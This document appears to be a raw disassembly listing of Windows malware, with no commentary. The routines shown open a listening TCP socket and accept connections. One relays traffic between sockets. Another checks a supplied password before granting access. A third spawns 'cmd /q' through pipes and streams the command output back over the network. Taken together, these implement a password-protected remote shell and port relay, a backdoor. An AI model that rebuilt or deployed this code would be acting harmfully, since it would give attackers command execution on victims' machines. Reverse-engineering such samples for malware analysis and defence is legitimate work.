		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4364E0
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40A203
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43C74C[ebx]
		mov	dword_43C744[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43C750[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_40F81A
		push	edi
		push	edi
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43C754[ecx], eax
		jz	short loc_40F7D6


loc_40F783:				; CODE XREF: sub_40F633+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_40F792
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40F783
; ---------------------------------------------------------------------------


loc_40F792:				; CODE XREF: sub_40F633+153j
		mov	ebx, 1000h


loc_40F797:				; CODE XREF: sub_40F633+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4C9814	; recv
		cmp	eax, edi
		jle	short loc_40F7E9
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9848	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F797
		jmp	short loc_40F7E9
; ---------------------------------------------------------------------------


loc_40F7D6:				; CODE XREF: sub_40F633+14Ej
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4364A0
		call	sub_413BD2
		pop	ecx
		pop	ecx


loc_40F7E9:				; CODE XREF: sub_40F633+44j
					; sub_40F633+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43C74C[eax]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	dword_4C9890	; closesocket
		push	[ebp+var_4]
		call	sub_40A51F
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40F633	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F81A	proc near		; DATA XREF: sub_40F633+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_40F851:				; CODE XREF: sub_40F81A+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_43C750[esi]
		call	dword_4C9814	; recv
		test	eax, eax
		jle	short loc_40F898
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43C74C[esi]
		call	dword_4C9848	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F851


loc_40F898:				; CODE XREF: sub_40F81A+61j
		push	dword_43C750[esi]
		call	dword_4C9890	; closesocket
		push	[ebp+var_14]
		call	sub_40A51F
		pop	ecx
		push	0
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_40F81A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8B7	proc near		; DATA XREF: sub_40FB45+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_43C74C[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4C97E4	; select
		test	eax, eax
		jnz	short loc_40F93B
		push	dword ptr [esi]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_40F93B:				; CODE XREF: sub_40F8B7+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4C9814	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_40FABC
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_40FABC
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_40FABC
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4C975C	; getpeername
		test	eax, eax
		jz	short loc_40F9B4
		call	dword_4C9798	; WSAGetLastError
		push	eax
		push	offset unk_4365B8
		call	sub_413BD2
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 0Ch
		push	edi
		call	dword_4230CC	; ExitThread


loc_40F9B4:				; CODE XREF: sub_40F8B7+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4C97B8	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_40F9DE
		push	[ebp+var_18]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_417D96
		jmp	short loc_40F9EC
; ---------------------------------------------------------------------------


loc_40F9DE:				; CODE XREF: sub_40F8B7+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_4183B0


loc_40F9EC:				; CODE XREF: sub_40F8B7+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43B9B8
		push	dword ptr [esi]
		call	dword_4C9848	; send
		cmp	dword_4CC560, edi
		jnz	short loc_40FA4E
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40FB16
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40FA4E
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4C9848	; send
		push	dword ptr [esi]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_40FA4E:				; CODE XREF: sub_40F8B7+14Cj
					; sub_40F8B7+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_43657C
		call	sub_413BD2
		push	[ebp+arg_0]
		call	sub_40FDCD
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40FA95
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436550
		call	sub_413BD2
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 0Ch
		push	ebx
		call	dword_4230CC	; ExitThread


loc_40FA95:				; CODE XREF: sub_40F8B7+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_436524
		call	sub_413BD2
		push	[ebp+arg_0]
		call	sub_40A51F
		add	esp, 10h
		push	edi
		call	dword_4230CC	; ExitThread
sub_40F8B7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FABC	proc near		; CODE XREF: sub_40F8B7+9Ap
					; sub_40F8B7+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9814	; recv
		cmp	eax, 1
		jnz	short loc_40FB0C
		mov	esi, [ebp+arg_4]


loc_40FADA:				; CODE XREF: sub_40FABC+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_40FB01
		test	al, al
		jz	short loc_40FB10
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9814	; recv
		cmp	eax, 1
		jz	short loc_40FADA
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------


loc_40FB01:				; CODE XREF: sub_40FABC+27j
		push	offset unk_4365E4
		call	sub_413BD2
		pop	ecx


loc_40FB0C:				; CODE XREF: sub_40FABC+19j
					; sub_40FABC+43j
		xor	eax, eax
		jmp	short loc_40FB13
; ---------------------------------------------------------------------------


loc_40FB10:				; CODE XREF: sub_40FABC+2Bj
		push	1
		pop	eax


loc_40FB13:				; CODE XREF: sub_40FABC+52j
		pop	esi
		leave
		retn
sub_40FABC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB16	proc near		; CODE XREF: sub_40F8B7+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FB41
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset unk_436610
		call	sub_413BD2
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40FB41:				; CODE XREF: sub_40FB16+11j
		push	1
		pop	eax
		retn
sub_40FB16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB45	proc near		; DATA XREF: sub_401AC7+1F24o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4C9778	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_40FB9E
		push	eax
		push	offset unk_436780
		call	sub_413BD2
		push	[ebp+var_4C]
		call	sub_40A51F
		add	esp, 0Ch
		push	edi
		call	dword_4230CC	; ExitThread


loc_40FB9E:				; CODE XREF: sub_40FB45+3Aj
		push	edi
		push	offset loc_40FDC3
		call	dword_423120	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_40FBD7
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43673C
		call	sub_413BD2
		pop	ecx
		pop	ecx
		call	dword_4C9760	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40A51F
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_40FBD7:				; CODE XREF: sub_40FB45+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_4C97FC	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4C9878	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40FD4E
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_43C74C[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_4C9828	; bind
		test	eax, eax
		jnz	loc_40FD4E
		push	7FFFFFFFh
		push	ebx
		call	dword_4C9824	; listen
		test	eax, eax
		jnz	loc_40FD4E
		push	offset unk_436700
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_413B5E
		pop	ecx
		mov	[ebp+arg_0], edi


loc_40FC66:				; CODE XREF: sub_40FB45+15Aj
					; sub_40FB45+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4C988C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40FD51
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4C97DC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FC66
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4366BC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		push	edi
		lea	eax, [ebp+var_414]
		push	9
		push	eax
		call	sub_40A203
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_43C744[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_40F8B7
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43C754[ecx], eax
		jz	short loc_40FD39


loc_40FD26:				; CODE XREF: sub_40FB45+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_40FC66
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40FD26
; ---------------------------------------------------------------------------


loc_40FD39:				; CODE XREF: sub_40FB45+1DFj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436680
		call	sub_413BD2
		pop	ecx
		pop	ecx
		jmp	short loc_40FD51
; ---------------------------------------------------------------------------


loc_40FD4E:				; CODE XREF: sub_40FB45+C8j
					; sub_40FB45+ECj ...
		mov	edi, [ebp+arg_0]


loc_40FD51:				; CODE XREF: sub_40FB45+13Cj
					; sub_40FB45+207j
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_436648
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_40FD91
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_408C5D
		add	esp, 14h


loc_40FD91:				; CODE XREF: sub_40FB45+22Aj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		pop	ecx
		push	edi
		call	dword_4C9890	; closesocket
		push	ebx
		call	dword_4C9890	; closesocket
		call	dword_4C9760	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40A51F
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	ebx


loc_40FDC3:				; DATA XREF: sub_40FB45+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_40FB45	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDCD	proc near		; CODE XREF: sub_40F8B7+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_40FF1E
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43C74C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42307C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4100F0
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_40FE38
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4367E0
		call	sub_413BD2
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_40FE72
; ---------------------------------------------------------------------------


loc_40FE38:				; CODE XREF: sub_40FDCD+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4101A2
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_40FE79
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4367E0
		call	sub_413BD2
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4230AC	; TerminateThread


loc_40FE72:				; CODE XREF: sub_40FDCD+69j
		xor	eax, eax
		jmp	loc_40FF19
; ---------------------------------------------------------------------------


loc_40FE79:				; CODE XREF: sub_40FDCD+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_423124	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_40FED3
		dec	eax
		jz	short loc_40FECD
		dec	eax
		jz	short loc_40FEB9
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4367AC
		call	sub_413BD2
		pop	ecx
		pop	ecx
		jmp	short loc_40FEE8
; ---------------------------------------------------------------------------


loc_40FEB9:				; CODE XREF: sub_40FDCD+D5j
		mov	edi, dword_4230AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_40FEE8
; ---------------------------------------------------------------------------


loc_40FECD:				; CODE XREF: sub_40FDCD+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_40FED7
; ---------------------------------------------------------------------------


loc_40FED3:				; CODE XREF: sub_40FDCD+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_40FED7:				; CODE XREF: sub_40FDCD+104j
		call	dword_4230AC	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4230F0	; TerminateProcess


loc_40FEE8:				; CODE XREF: sub_40FDCD+EAj
					; sub_40FDCD+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_423068
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4C9890	; closesocket
		push	esi
		call	sub_4177C1
		pop	ecx
		push	1
		pop	eax


loc_40FF19:				; CODE XREF: sub_40FDCD+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FDCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF1E	proc near		; CODE XREF: sub_40FDCD+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410008
		mov	ebx, dword_4230FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_423068
		test	eax, eax
		jnz	short loc_40FF81
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436890
		jmp	short loc_40FFA1
; ---------------------------------------------------------------------------


loc_40FF81:				; CODE XREF: sub_40FF1E+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_40FFA9
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436850


loc_40FFA1:				; CODE XREF: sub_40FF1E+61j
		call	sub_413BD2
		pop	ecx
		jmp	short loc_40FFD7
; ---------------------------------------------------------------------------


loc_40FFA9:				; CODE XREF: sub_40FF1E+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410017
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41000C
		push	offset unk_436828
		call	sub_413B5E


loc_40FFD7:				; CODE XREF: sub_40FF1E+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_40FFE3
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_40FFE3:				; CODE XREF: sub_40FF1E+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_40FFEE
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_40FFEE:				; CODE XREF: sub_40FF1E+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40FFF7
		push	eax
		call	edi	; CloseHandle


loc_40FFF7:				; CODE XREF: sub_40FF1E+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410001
		push	eax
		call	edi	; CloseHandle


loc_410001:				; CODE XREF: sub_40FF1E+DEj
		push	esi
		call	sub_4177C1
		pop	ecx


loc_410008:				; CODE XREF: sub_40FF1E+1Dj
		xor	eax, eax
		jmp	short loc_410012
; ---------------------------------------------------------------------------


loc_41000C:				; CODE XREF: sub_40FF1E+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410012:				; CODE XREF: sub_40FF1E+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FF1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410017	proc near		; CODE XREF: sub_40FF1E+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417AA0
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417AA0
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4230F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4230F4	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_42306C	; CreateProcessA
		test	eax, eax
		jz	short loc_4100D3
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43C748[eax], ecx
		call	dword_423068	; CloseHandle
		jmp	short loc_4100E9
; ---------------------------------------------------------------------------


loc_4100D3:				; CODE XREF: sub_410017+9Aj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4368D0
		call	sub_413BD2
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4100E9:				; CODE XREF: sub_410017+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410017	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100F0	proc near		; DATA XREF: sub_40FDCD+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4230E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_410119:				; CODE XREF: sub_4100F0+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_410181
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_410154


loc_41012A:				; CODE XREF: sub_4100F0+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_410144
		cmp	dl, 0Dh
		jz	short loc_410144
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_410144:				; CODE XREF: sub_4100F0+44j
					; sub_4100F0+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_41012A


loc_410154:				; CODE XREF: sub_4100F0+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C9848	; send
		test	eax, eax
		jle	short loc_410181
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_410119
; ---------------------------------------------------------------------------


loc_410181:				; CODE XREF: sub_4100F0+2Dj
					; sub_4100F0+79j
		mov	esi, dword_42308C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_41019D
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436910
		call	sub_413BD2
		pop	ecx
		pop	ecx


loc_41019D:				; CODE XREF: sub_4100F0+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4100F0	endp


